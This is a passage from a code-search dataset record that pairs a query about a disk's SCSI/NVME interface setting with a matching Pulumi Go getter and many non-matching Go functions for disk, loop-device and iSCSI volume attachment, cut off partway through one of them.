query_id
stringlengths
32
32
query
stringlengths
7
4.32k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
cec706fb44f845fc337d2b711b171430
Specifies the disk interface to use for attaching this disk, which is either SCSI or NVME. The default is SCSI. Persistent disks must always use SCSI and the request will fail if you attempt to attach a persistent disk in any other format than SCSI. Local SSDs can use either NVME or SCSI.
[ { "docid": "c594c4779582c71f9ec298981a062815", "score": "0.0", "text": "func (o GetRegionInstanceTemplateDiskOutput) Interface() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetRegionInstanceTemplateDisk) string { return v.Interface }).(pulumi.StringOutput)\n}", "title": "" } ]
[ { "docid": "b9b5e626e83f8bd438b98f838bb7d91f", "score": "0.61651134", "text": "func (o DiskOutput) DiskInterface() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v Disk) *string { return v.DiskInterface }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "e1d04c1faee9515ebf2323411b572d58", "score": "0.61044395", "text": "func (o DiskResponseOutput) DiskInterface() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DiskResponse) string { return v.DiskInterface }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "5b1b455de762a5917bacabef148047d5", "score": "0.60032123", "text": "func (u *ISCSIUtil) AttachDisk(p *storage.ConnProperty) (string, error) {\n\treturn u.SearchDisk(p.Portals, p.Targets, p.LunIDs, true, true)\n}", "title": "" }, { "docid": "8757e78e989c5a6e1e67d0721d236814", "score": "0.59935474", "text": "func (o DiskPtrOutput) DiskInterface() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *Disk) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.DiskInterface\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "a59db0ba619d20f98fcb5359ff240f8d", "score": "0.5845708", "text": "func (s *DiskServiceOp) Attach(diskAttachConfig *DiskAttachConfig) error {\n\tdefer ReleaseLock(diskAttachConfig.MachineID)\n\tGetLock(diskAttachConfig.MachineID)\n\t_, err := s.client.Post(\"/cloudapi/machines/attachDisk\", *diskAttachConfig, OperationalActionTimeout)\n\treturn err\n}", "title": "" }, { "docid": "b59196bcd3ee674063f06e98bc5c5061", "score": "0.580355", "text": "func (util *VsphereDiskUtil) AttachDisk(vm *vsphereVolumeMounter, globalPDPath string) error {\n\toptions := []string{}\n\n\t// Block execution until any pending attach/detach operations for this PD have completed\n\tattachDetachMutex.LockKey(vm.volPath)\n\tdefer attachDetachMutex.UnlockKey(vm.volPath)\n\n\tcloud, err := vm.plugin.getCloudProvider()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdiskID, diskUUID, attachError := cloud.AttachDisk(vm.volPath, \"\")\n\tif attachError != nil {\n\t\treturn attachError\n\t} else if diskUUID == \"\" {\n\t\treturn errors.New(\"Disk UUID has no value\")\n\t}\n\n\t// diskID for detach Disk\n\tvm.diskID = diskID\n\n\tvar devicePath string\n\tnumTries := 0\n\tfor {\n\t\tdevicePath = verifyDevicePath(diskUUID)\n\t\t// probe the attached vol so that symlink in /dev/disk/by-id is created\n\t\tscsiHostRescan()\n\n\t\t_, err := os.Stat(devicePath)\n\t\tif err == nil {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil && !os.IsNotExist(err) {\n\t\t\treturn err\n\t\t}\n\t\tnumTries++\n\t\tif numTries == maxRetries {\n\t\t\treturn errors.New(\"Could not attach disk: Timeout after 60s\")\n\t\t}\n\t\ttime.Sleep(time.Second * 60)\n\t}\n\n\tnotMnt, err := vm.mounter.IsLikelyNotMountPoint(globalPDPath)\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\tif err := os.MkdirAll(globalPDPath, 0750); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tnotMnt = true\n\t\t} else {\n\t\t\treturn err\n\t\t}\n\t}\n\tif notMnt {\n\t\terr = vm.diskMounter.FormatAndMount(devicePath, globalPDPath, vm.fsType, options)\n\t\tif err != nil {\n\t\t\tos.Remove(globalPDPath)\n\t\t\treturn err\n\t\t}\n\t\tglog.V(2).Infof(\"Safe mount successful: %q\\n\", devicePath)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e5a6b56e6a25410d5242684da0e79414", "score": "0.5755918", "text": "func (c *Container) AttachInterface(source, destination string) error {\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\n\tif err := c.makeSure(isRunning | isPrivileged | isGreaterEqualThanLXC11); err != nil {\n\t\treturn err\n\t}\n\n\tcsource := C.CString(source)\n\tdefer C.free(unsafe.Pointer(csource))\n\n\tcdestination := C.CString(destination)\n\tdefer C.free(unsafe.Pointer(cdestination))\n\n\tif !bool(C.go_lxc_attach_interface(c.container, csource, cdestination)) {\n\t\treturn ErrAttachInterfaceFailed\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "aee5ebaf47f018e367747d3707852741", "score": "0.5705661", "text": "func (disk *Disk) AttachDisk() error {\n\tif disk.Name == \"\" {\n\t\tif err := disk.createLoopDevice(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn TriggerEvent(UdevEventAdd, syspath, disk.Name)\n}", "title": "" }, { "docid": "316acf7137cd2a42457c713ad2c4f2fa", "score": "0.56724554", "text": "func (p *Local) Attach(ctx driver.Context, v *types.Volume, s *types.Storage) error {\n\tctx.Log.Debugf(\"Local attach volume: %s\", v.Name)\n\tmountPath := v.Path()\n\tsize := v.Option(\"size\")\n\treqID := v.Option(\"reqID\")\n\tids := v.Option(\"ids\")\n\n\tif ids != \"\" {\n\t\tif !strings.Contains(ids, reqID) {\n\t\t\tids = ids + \",\" + reqID\n\t\t}\n\t} else {\n\t\tids = reqID\n\t}\n\n\tif st, exist := os.Stat(mountPath); exist != nil {\n\t\tif e := os.MkdirAll(mountPath, 0777); e != nil {\n\t\t\treturn e\n\t\t}\n\t} else if !st.IsDir() {\n\t\treturn fmt.Errorf(\"mount path is not a dir %s\", mountPath)\n\t}\n\n\tif size != \"\" && size != \"0\" {\n\t\tquota.StartQuotaDriver(mountPath)\n\t\tif ex := quota.SetDiskQuota(mountPath, size, 0); ex != nil {\n\t\t\treturn ex\n\t\t}\n\t}\n\n\tv.SetOption(\"ids\", ids)\n\tv.SetOption(\"freeTime\", \"\")\n\n\treturn nil\n}", "title": "" }, { "docid": "85564157a8d141adff3322f26fe9fabd", "score": "0.5614114", "text": "func (d *gceDriver) Attach(name string) (string, error) {\n\tlog.WithFields(log.Fields{\"name\": name}).Info(\"GCE: attach disk\")\n\tdevice := fmt.Sprintf(deviceBaseName, name)\n\n\tdisk := compute.AttachedDisk{\n\t\tDeviceName: device,\n\t}\n\n\top, err := d.client.Instances.AttachDisk(d.project, d.zone, d.instance, &disk).Do()\n\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error attaching disk: %s\", err)\n\t}\n\n\terr = d.waitForOp(op)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\t// return the path to the device\n\tdevicePath := fmt.Sprintf(devicePathFormat, device)\n\tlog.WithFields(log.Fields{\"devicePath\": devicePath}).Info(\"GCE: attached device\")\n\treturn devicePath, nil\n}", "title": "" }, { "docid": "336621dd190c533663aac3a264e6eacb", "score": "0.55752414", "text": "func (r Network_Storage_Group_Iscsi) AttachToVolume(volume *datatypes.Network_Storage) (resp bool, err error) {\n\tparams := []interface{}{\n\t\tvolume,\n\t}\n\terr = r.Session.DoRequest(\"SoftLayer_Network_Storage_Group_Iscsi\", \"attachToVolume\", params, &r.Options, &resp)\n\treturn\n}", "title": "" }, { "docid": "a725a53f0caef6e73198fbbd176a669e", "score": "0.5536203", "text": "func AttachInterface(bridgeName string, devName string) error {\n\tif IsNativeBridge(bridgeName) {\n\t\tlink := &ip.Link{Name: devName}\n\t\terr := link.SetMaster(bridgeName)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tovs := openvswitch.NewOVS()\n\t\terr := ovs.BridgePortAdd(bridgeName, devName, true)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "a06d76a24f1579561a3f452b36fe409b", "score": "0.5509884", "text": "func (vc *VMController) DiskAttach(diskTemplate string) error {\n\t_, err := vc.c.Client.Call(\"one.vm.attach\", vc.ID, diskTemplate)\n\treturn err\n}", "title": "" }, { "docid": "cb654c53cf313bdb9613e3547e1e641c", "score": "0.54735166", "text": "func attachDisk(diskID, nodeID string, isSharedDisk bool) (string, error) {\n\tlog.Infof(\"AttachDisk: Starting Do AttachDisk: DiskId: %s, InstanceId: %s, Region: %v\", diskID, nodeID, GlobalConfigVar.Region)\n\n\t// Step 1: check disk status\n\tGlobalConfigVar.EcsClient = updateEcsClent(GlobalConfigVar.EcsClient)\n\tdisk, err := findDiskByID(diskID)\n\tif err != nil {\n\t\treturn \"\", status.Errorf(codes.Internal, \"AttachDisk: find disk: %s with error: %s\", diskID, err.Error())\n\t}\n\tif disk == nil {\n\t\treturn \"\", status.Errorf(codes.Internal, \"AttachDisk: can't find disk: %s\", diskID)\n\t}\n\n\tif !GlobalConfigVar.ADControllerEnable {\n\t\t//NodeStageVolume should be called by sequence\n\t\t//In order no to block to caller, use boolean canAttach to check whether to continue.\n\t\tGlobalConfigVar.AttachMutex.Lock()\n\t\tif !GlobalConfigVar.CanAttach {\n\t\t\tGlobalConfigVar.AttachMutex.Unlock()\n\t\t\tlog.Errorf(\"NodeStageVolume: Previous attach action is still in process, VolumeId: %s\", diskID)\n\t\t\treturn \"\", status.Error(codes.Aborted, \"NodeStageVolume: Previous attach action is still in process\")\n\t\t}\n\t\tGlobalConfigVar.CanAttach = false\n\t\tGlobalConfigVar.AttachMutex.Unlock()\n\t\tdefer func() {\n\t\t\tGlobalConfigVar.AttachMutex.Lock()\n\t\t\tGlobalConfigVar.CanAttach = true\n\t\t\tGlobalConfigVar.AttachMutex.Unlock()\n\t\t}()\n\t}\n\n\t// tag disk as k8s.aliyun.com=true\n\tif GlobalConfigVar.DiskTagEnable {\n\t\ttagDiskAsK8sAttached(diskID)\n\t}\n\n\tif isSharedDisk {\n\t\tattachedToLocal := false\n\t\tfor _, instance := range disk.MountInstances.MountInstance {\n\t\t\tif instance.InstanceId == nodeID {\n\t\t\t\tattachedToLocal = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif attachedToLocal {\n\t\t\tdetachRequest := ecs.CreateDetachDiskRequest()\n\t\t\tdetachRequest.InstanceId = nodeID\n\t\t\tdetachRequest.DiskId = diskID\n\t\t\t_, err = GlobalConfigVar.EcsClient.DetachDisk(detachRequest)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", status.Errorf(codes.Aborted, \"AttachDisk: Can't attach disk %s to instance %s: %v\", diskID, disk.InstanceId, err)\n\t\t\t}\n\n\t\t\tif err := waitForSharedDiskInStatus(10, time.Second*3, diskID, nodeID, DiskStatusDetached); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// detach disk first if attached\n\t\tif disk.Status == DiskStatusInuse {\n\t\t\tif disk.InstanceId == nodeID {\n\t\t\t\tif GlobalConfigVar.ADControllerEnable {\n\t\t\t\t\tlog.Infof(\"AttachDisk: Disk %s is already attached to Instance %s\", diskID, disk.InstanceId)\n\t\t\t\t\treturn \"\", nil\n\t\t\t\t}\n\t\t\t\tdeviceName := GetVolumeDeviceName(diskID)\n\t\t\t\tif deviceName == \"\" {\n\t\t\t\t\tdeviceName, _ = GetDeviceByUUID(diskID)\n\t\t\t\t}\n\t\t\t\tif deviceName != \"\" && IsFileExisting(deviceName) {\n\t\t\t\t\t// TODO:\n\t\t\t\t\tif used, err := IsDeviceUsedOthers(deviceName, diskID); err == nil && used == false {\n\t\t\t\t\t\tlog.Infof(\"AttachDisk: Disk %s is already attached to self Instance %s, and device is: %s\", diskID, disk.InstanceId, deviceName)\n\t\t\t\t\t\treturn deviceName, nil\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// TODO: use uuid get devicepath\n\t\t\t}\n\n\t\t\tif GlobalConfigVar.DiskBdfEnable {\n\t\t\t\tif allowed, err := forceDetachAllowed(disk, nodeID); err != nil {\n\t\t\t\t\terr = errors.Wrapf(err, \"forceDetachAllowed\")\n\t\t\t\t\treturn \"\", status.Errorf(codes.Aborted, err.Error())\n\t\t\t\t} else if !allowed {\n\t\t\t\t\terr = errors.Errorf(\"NodeStageVolume: Disk %s is already attached to instance %s, and depend bdf, reject force detach\", diskID, disk.InstanceId)\n\t\t\t\t\tlog.Error(err)\n\t\t\t\t\treturn \"\", status.Errorf(codes.Aborted, err.Error())\n\t\t\t\t}\n\t\t\t}\n\t\t\tlog.Infof(\"AttachDisk: Disk %s is already attached to instance %s, will be detached\", diskID, disk.InstanceId)\n\t\t\tdetachRequest := ecs.CreateDetachDiskRequest()\n\t\t\tdetachRequest.InstanceId = disk.InstanceId\n\t\t\tdetachRequest.DiskId = disk.DiskId\n\t\t\t_, err = GlobalConfigVar.EcsClient.DetachDisk(detachRequest)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", status.Errorf(codes.Aborted, \"AttachDisk: Can't Detach disk %s from instance %s: with error: %v\", diskID, disk.InstanceId, err)\n\t\t\t}\n\t\t} else if disk.Status == DiskStatusAttaching {\n\t\t\treturn \"\", status.Errorf(codes.Aborted, \"AttachDisk: Disk %s is attaching %v\", diskID, disk)\n\t\t}\n\t\t// Step 2: wait for Detach\n\t\tif disk.Status != DiskStatusAvailable {\n\t\t\tlog.Infof(\"AttachDisk: Wait for disk %s is detached\", diskID)\n\t\t\tif err := waitForDiskInStatus(15, time.Second*3, diskID, DiskStatusAvailable); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t}\n\n\t// Step 3: Attach Disk, list device before attach disk\n\tbefore := []string{}\n\tif !GlobalConfigVar.ADControllerEnable {\n\t\tbefore = getDevices()\n\t}\n\tattachRequest := ecs.CreateAttachDiskRequest()\n\tattachRequest.InstanceId = nodeID\n\tattachRequest.DiskId = diskID\n\tresponse, err := GlobalConfigVar.EcsClient.AttachDisk(attachRequest)\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), DiskLimitExceeded) {\n\t\t\treturn \"\", status.Error(codes.Internal, err.Error()+\", Node(\"+nodeID+\")exceed the limit attachments of disk, which at most 16 disks.\")\n\t\t} else if strings.Contains(err.Error(), DiskNotPortable) {\n\t\t\treturn \"\", status.Error(codes.Internal, err.Error()+\", Disk(\"+diskID+\") should be \\\"Pay by quantity\\\", not be \\\"Annual package\\\", please check and modify the charge type.\")\n\t\t}\n\t\treturn \"\", status.Errorf(codes.Aborted, \"NodeStageVolume: Error happens to attach disk %s to instance %s, %v\", diskID, nodeID, err)\n\t}\n\n\t// Step 4: wait for disk attached\n\tlog.Infof(\"AttachDisk: Waiting for Disk %s is Attached to instance %s with RequestId: %s\", diskID, nodeID, response.RequestId)\n\tif isSharedDisk {\n\t\tif err := waitForSharedDiskInStatus(20, time.Second*3, diskID, nodeID, DiskStatusAttached); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t} else {\n\t\tif err := waitForDiskInStatus(20, time.Second*3, diskID, DiskStatusInuse); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\t// step 5: diff device with previous files under /dev\n\tif !GlobalConfigVar.ADControllerEnable {\n\t\tdeviceName, _ := GetDeviceByVolumeID(diskID)\n\t\tif deviceName == \"\" {\n\t\t\tdeviceName, _ = GetDeviceByUUID(diskID)\n\t\t}\n\t\tif deviceName != \"\" {\n\t\t\tlog.Infof(\"AttachDisk: Successful attach disk %s to node %s device %s by DiskID/Device mapping/uuid\", diskID, nodeID, deviceName)\n\t\t\treturn deviceName, nil\n\t\t}\n\t\t// TODO: use uuid get devicepath\n\t\tafter := getDevices()\n\t\tdevicePaths := calcNewDevices(before, after)\n\n\t\t// BDF Disk Logical\n\t\tif GlobalConfigVar.DiskBdfEnable && len(devicePaths) == 0 {\n\t\t\tvar bdf string\n\t\t\tif bdf, err = bindBdfDisk(disk.DiskId); err != nil {\n\t\t\t\tif err := unbindBdfDisk(disk.DiskId); err != nil {\n\t\t\t\t\treturn \"\", status.Errorf(codes.Aborted, \"NodeStageVolume: failed to detach bdf: %v\", err)\n\t\t\t\t}\n\t\t\t\treturn \"\", status.Errorf(codes.Aborted, \"NodeStageVolume: failed to attach bdf: %v\", err)\n\t\t\t}\n\n\t\t\tdeviceName, err := GetDeviceByVolumeID(diskID)\n\t\t\tif deviceName == \"\" {\n\t\t\t\tdeviceName, err = GetDeviceByUUID(diskID)\n\t\t\t}\n\t\t\tif len(deviceName) == 0 && bdf != \"\" {\n\t\t\t\tdeviceName, err = GetDeviceByBdf(bdf)\n\t\t\t}\n\t\t\tif err == nil && deviceName != \"\" {\n\t\t\t\tlog.Infof(\"AttachDisk: Successful attach bdf disk %s to node %s device %s by DiskID/Device mapping\", diskID, nodeID, deviceName)\n\t\t\t\treturn deviceName, nil\n\t\t\t}\n\t\t\tafter = getDevices()\n\t\t\tdevicePaths = calcNewDevices(before, after)\n\t\t}\n\n\t\tif len(devicePaths) == 2 {\n\t\t\tif strings.HasPrefix(devicePaths[1], devicePaths[0]) {\n\t\t\t\treturn devicePaths[1], nil\n\t\t\t} else if strings.HasPrefix(devicePaths[0], devicePaths[1]) {\n\t\t\t\treturn devicePaths[0], nil\n\t\t\t}\n\t\t}\n\t\tif len(devicePaths) == 1 {\n\t\t\tlog.Infof(\"AttachDisk: Successful attach disk %s to node %s device %s by diff\", diskID, nodeID, devicePaths[0])\n\t\t\treturn devicePaths[0], nil\n\t\t}\n\t\t//device count is not expected, should retry (later by detaching and attaching again)\n\t\tlog.Errorf(\"AttachDisk: Get Device Name error, with Before: %s, After: %s, diff: %s\", before, after, devicePaths)\n\t\treturn \"\", status.Error(codes.Aborted, \"AttachDisk: after attaching to disk, but fail to get mounted device, will retry later\")\n\t}\n\n\tlog.Infof(\"AttachDisk: Successful attach disk %s to node %s\", diskID, nodeID)\n\treturn \"\", nil\n}", "title": "" }, { "docid": "a22e3e8b98c5e08f708342691b23c865", "score": "0.5416197", "text": "func FormatDisk(path string) error {\n\tg, err := guestfs.Create()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tg.Shutdown()\n\t\tg.Close()\n\t}()\n\n\t// Set the trace flag so that we can see each libguestfs call.\n\tg.Set_trace(true)\n\n\t// Attach the disk image to libguestfs.\n\toptargs := guestfs.OptargsAdd_drive{\n\t\tFormat_is_set: true,\n\t\tFormat: \"qcow2\",\n\t\tReadonly_is_set: true,\n\t\tReadonly: false,\n\t}\n\n\tif gErr := g.Add_drive(path, &optargs); gErr != nil {\n\t\treturn errors.New(gErr.String())\n\t}\n\n\t// Run the libguestfs backend.\n\tif gErr := g.Launch(); gErr != nil {\n\t\treturn errors.New(gErr.String())\n\t}\n\n\t// Get the list of devices. As we've added just one drive above, we\n\t// expect this list to contain just one item.\n\tdevices, gErr := g.List_devices()\n\tif gErr != nil {\n\t\treturn errors.New(gErr.String())\n\t}\n\tif len(devices) != 1 {\n\t\treturn errors.New(\"expected a single device from list-devices\")\n\t}\n\n\t// Partition the disk as one single MBR partition.\n\tgErr = g.Part_disk(devices[0], \"mbr\")\n\tif gErr != nil {\n\t\treturn errors.New(gErr.String())\n\t}\n\n\t// Get the list of partitions. We expect a single element, which\n\t// is the partition we have just created.\n\tpartitions, gErr := g.List_partitions()\n\tif gErr != nil {\n\t\treturn errors.New(gErr.String())\n\t}\n\tif len(partitions) != 1 {\n\t\treturn errors.New(\"expected a single partition from list-partitions\")\n\t}\n\n\t// Create a filesystem on the partition.\n\tgErr = g.Mkfs(\"ext4\", partitions[0], nil)\n\tif gErr != nil {\n\t\treturn errors.New(gErr.String())\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "354f97bbaca43e357794a3b1be6ff93b", "score": "0.5373561", "text": "func Attach(path string) (loopDevice, error) {\n\tbackingFile, err := os.OpenFile(path, os.O_RDWR, 0660)\n\tif err != nil {\n\t\treturn loopDevice{}, err\n\t}\n\tdefer backingFile.Close()\n\n\tfreeFd, err := getFreeLoopbackDev()\n\tif err != nil {\n\t\treturn loopDevice{}, err\n\t}\n\n\tdev := loopDevice{path: fmt.Sprintf(\"/dev/loop%d\", freeFd)}\n\tdevFd, err := os.Open(dev.path)\n\tif err != nil {\n\t\treturn loopDevice{}, err\n\t}\n\tdefer devFd.Close()\n\n\t_, _, errno := syscall.Syscall(syscall.SYS_IOCTL, devFd.Fd(), LoopSetFd, backingFile.Fd())\n\n\tif errno != 0 {\n\t\treturn loopDevice{}, errors.New(fmt.Sprintf(\"Recieved errno %d\", errno))\n\t}\n\n\tinfo := loopInfo{LoFlags: LoFlagsPartscan}\n\n\t_, _, errno = syscall.Syscall(syscall.SYS_IOCTL, devFd.Fd(), LoopSetStatus64, uintptr(unsafe.Pointer(&info)))\n\tif errno != 0 {\n\t\treturn loopDevice{}, errors.New(fmt.Sprintf(\"Recieved errno %d\", errno))\n\t}\n\n\tdev.info = info\n\n\treturn dev, nil\n}", "title": "" }, { "docid": "89ded753836897184a7000c1f1221539", "score": "0.52973205", "text": "func AttachISCSIVolume(ctx context.Context, name, mountpoint string, publishInfo *VolumePublishInfo,\n\tsecrets map[string]string,\n) (int64, error) {\n\tLogc(ctx).Debug(\">>>> iscsi.AttachISCSIVolume\")\n\tdefer Logc(ctx).Debug(\"<<<< iscsi.AttachISCSIVolume\")\n\n\tvar err error\n\tvar mpathSize int64\n\tlunID := int(publishInfo.IscsiLunNumber)\n\n\tvar portals []string\n\n\t// IscsiTargetPortal is one of the ports on the target and IscsiPortals\n\t// are rest of the target ports for establishing iSCSI session.\n\t// If the target has multiple portals, then there will be multiple iSCSI sessions.\n\tportals = append(portals, ensureHostportFormatted(publishInfo.IscsiTargetPortal))\n\n\tfor _, p := range publishInfo.IscsiPortals {\n\t\tportals = append(portals, ensureHostportFormatted(p))\n\t}\n\n\tif publishInfo.IscsiInterface == \"\" {\n\t\tpublishInfo.IscsiInterface = \"default\"\n\t}\n\n\tLogc(ctx).WithFields(LogFields{\n\t\t\"volume\": name,\n\t\t\"mountpoint\": mountpoint,\n\t\t\"lunID\": lunID,\n\t\t\"portals\": portals,\n\t\t\"targetIQN\": publishInfo.IscsiTargetIQN,\n\t\t\"iscsiInterface\": publishInfo.IscsiInterface,\n\t\t\"fstype\": publishInfo.FilesystemType,\n\t}).Debug(\"Attaching iSCSI volume.\")\n\n\tif err = ISCSIPreChecks(ctx); err != nil {\n\t\treturn mpathSize, err\n\t}\n\t// Ensure we are logged into correct portals\n\tpendingPortalsToLogin, loggedIn, err := portalsToLogin(ctx, publishInfo.IscsiTargetIQN, portals)\n\tif err != nil {\n\t\treturn mpathSize, err\n\t}\n\n\tnewLogin, err := EnsureISCSISessions(ctx, publishInfo, pendingPortalsToLogin)\n\n\tif !loggedIn && !newLogin {\n\t\treturn mpathSize, err\n\t}\n\n\t// First attempt to fix invalid serials by rescanning them\n\terr = handleInvalidSerials(ctx, lunID, publishInfo.IscsiTargetIQN, publishInfo.IscsiLunSerial, rescanOneLun)\n\tif err != nil {\n\t\treturn mpathSize, err\n\t}\n\n\t// Then attempt to fix invalid serials by purging them (to be scanned\n\t// again later)\n\terr = handleInvalidSerials(ctx, lunID, publishInfo.IscsiTargetIQN, publishInfo.IscsiLunSerial, purgeOneLun)\n\tif err != nil {\n\t\treturn mpathSize, err\n\t}\n\n\t// Scan the target and wait for the device(s) to appear\n\terr = waitForDeviceScan(ctx, lunID, publishInfo.IscsiTargetIQN)\n\tif err != nil {\n\t\tLogc(ctx).Errorf(\"Could not find iSCSI device: %+v\", err)\n\t\treturn mpathSize, err\n\t}\n\n\t// At this point if the serials are still invalid, give up so the\n\t// caller can retry (invoking the remediation steps above in the\n\t// process, if they haven't already been run).\n\tfailHandler := func(ctx context.Context, path string) error {\n\t\tLogc(ctx).Error(\"Detected LUN serial number mismatch, attaching volume would risk data corruption, giving up\")\n\t\treturn fmt.Errorf(\"LUN serial number mismatch, kernel has stale cached data\")\n\t}\n\terr = handleInvalidSerials(ctx, lunID, publishInfo.IscsiTargetIQN, publishInfo.IscsiLunSerial, failHandler)\n\tif err != nil {\n\t\treturn mpathSize, err\n\t}\n\n\t// Wait for multipath device i.e. /dev/dm-* for the given LUN\n\terr = waitForMultipathDeviceForLUN(ctx, lunID, publishInfo.IscsiTargetIQN)\n\tif err != nil {\n\t\treturn mpathSize, err\n\t}\n\n\t// Lookup all the SCSI device information\n\tdeviceInfo, err := getDeviceInfoForLUN(ctx, lunID, publishInfo.IscsiTargetIQN, false, false)\n\tif err != nil {\n\t\treturn mpathSize, fmt.Errorf(\"error getting iSCSI device information: %v\", err)\n\t} else if deviceInfo == nil {\n\t\treturn mpathSize, fmt.Errorf(\"could not get iSCSI device information for LUN %d\", lunID)\n\t}\n\n\tLogc(ctx).WithFields(LogFields{\n\t\t\"scsiLun\": deviceInfo.LUN,\n\t\t\"multipathDevice\": deviceInfo.MultipathDevice,\n\t\t\"devices\": deviceInfo.Devices,\n\t\t\"iqn\": deviceInfo.IQN,\n\t}).Debug(\"Found device.\")\n\n\t// Make sure we use the proper device\n\tdeviceToUse := deviceInfo.Devices[0]\n\tif deviceInfo.MultipathDevice != \"\" {\n\t\tdeviceToUse = deviceInfo.MultipathDevice\n\n\t\t// To avoid LUN ID conflict with a ghost device below checks\n\t\t// are necessary:\n\t\t// Conflict 1: Due to race conditons, it is possible a ghost\n\t\t// DM device is discovered instead of the actual\n\t\t// DM device.\n\t\t// Conflict 2: Some OS like RHEL displays the ghost device size\n\t\t// instead of the actual LUN size.\n\t\t//\n\t\t// Below check ensures that the correct device with the correct\n\t\t// size is being discovered.\n\n\t\t// If LUN Serial Number exists, then compare it with DM\n\t\t// device's UUID in sysfs\n\t\tif err = verifyMultipathDeviceSerial(ctx, deviceToUse, publishInfo.IscsiLunSerial); err != nil {\n\t\t\treturn mpathSize, err\n\t\t}\n\n\t\t// Once the multipath device has been found, compare its size with\n\t\t// the size of one of the devices, if it differs then mark it for\n\t\t// resize after the staging.\n\t\tcorrectMpathSize, mpathSizeCorrect, err := verifyMultipathDeviceSize(ctx, deviceToUse, deviceInfo.Devices[0])\n\t\tif err != nil {\n\t\t\tLogc(ctx).WithFields(LogFields{\n\t\t\t\t\"scsiLun\": deviceInfo.LUN,\n\t\t\t\t\"multipathDevice\": deviceInfo.MultipathDevice,\n\t\t\t\t\"device\": deviceInfo.Devices[0],\n\t\t\t\t\"iqn\": deviceInfo.IQN,\n\t\t\t\t\"err\": err,\n\t\t\t}).Error(\"Failed to verify multipath device size.\")\n\n\t\t\treturn mpathSize, fmt.Errorf(\"failed to verify multipath device %s size\", deviceInfo.MultipathDevice)\n\t\t}\n\n\t\tif !mpathSizeCorrect {\n\t\t\tmpathSize = correctMpathSize\n\n\t\t\tLogc(ctx).WithFields(LogFields{\n\t\t\t\t\"scsiLun\": deviceInfo.LUN,\n\t\t\t\t\"multipathDevice\": deviceInfo.MultipathDevice,\n\t\t\t\t\"device\": deviceInfo.Devices[0],\n\t\t\t\t\"iqn\": deviceInfo.IQN,\n\t\t\t\t\"mpathSize\": mpathSize,\n\t\t\t}).Error(\"Multipath device size does not match device size.\")\n\t\t}\n\t} else {\n\t\treturn mpathSize, fmt.Errorf(\"could not find multipath device for LUN %d\", lunID)\n\t}\n\n\tif deviceToUse == \"\" {\n\t\treturn mpathSize, fmt.Errorf(\"could not determine device to use for %v\", name)\n\t}\n\tdevicePath := \"/dev/\" + deviceToUse\n\tif err := waitForDevice(ctx, devicePath); err != nil {\n\t\treturn mpathSize, fmt.Errorf(\"could not find device %v; %s\", devicePath, err)\n\t}\n\n\tvar isLUKSDevice, luksFormatted bool\n\tif publishInfo.LUKSEncryption != \"\" {\n\t\tisLUKSDevice, err = strconv.ParseBool(publishInfo.LUKSEncryption)\n\t\tif err != nil {\n\t\t\treturn mpathSize, fmt.Errorf(\"could not parse LUKSEncryption into a bool, got %v\",\n\t\t\t\tpublishInfo.LUKSEncryption)\n\t\t}\n\t}\n\n\tif isLUKSDevice {\n\t\tluksDevice, _ := NewLUKSDevice(devicePath, name)\n\t\tluksFormatted, err = EnsureLUKSDeviceMappedOnHost(ctx, luksDevice, name, secrets)\n\t\tif err != nil {\n\t\t\treturn mpathSize, err\n\t\t}\n\t\tdevicePath = luksDevice.MappedDevicePath()\n\t}\n\n\t// Return the device in the publish info in case the mount will be done later\n\tpublishInfo.DevicePath = devicePath\n\n\tif publishInfo.FilesystemType == fsRaw {\n\t\treturn mpathSize, nil\n\t}\n\n\texistingFstype, err := getDeviceFSType(ctx, devicePath)\n\tif err != nil {\n\t\treturn mpathSize, err\n\t}\n\tif existingFstype == \"\" {\n\t\tif !isLUKSDevice {\n\t\t\tif unformatted, err := isDeviceUnformatted(ctx, devicePath); err != nil {\n\t\t\t\tLogc(ctx).WithField(\"device\",\n\t\t\t\t\tdevicePath).Errorf(\"Unable to identify if the device is unformatted; err: %v\", err)\n\t\t\t\treturn mpathSize, err\n\t\t\t} else if !unformatted {\n\t\t\t\tLogc(ctx).WithField(\"device\", devicePath).Errorf(\"Device is not unformatted; err: %v\", err)\n\t\t\t\treturn mpathSize, fmt.Errorf(\"device %v is not unformatted\", devicePath)\n\t\t\t}\n\t\t} else {\n\t\t\t// We can safely assume if we just luksFormatted the device, we can also add a filesystem without dataloss\n\t\t\tif !luksFormatted {\n\t\t\t\tLogc(ctx).WithField(\"device\",\n\t\t\t\t\tdevicePath).Errorf(\"Unable to identify if the luks device is empty; err: %v\", err)\n\t\t\t\treturn 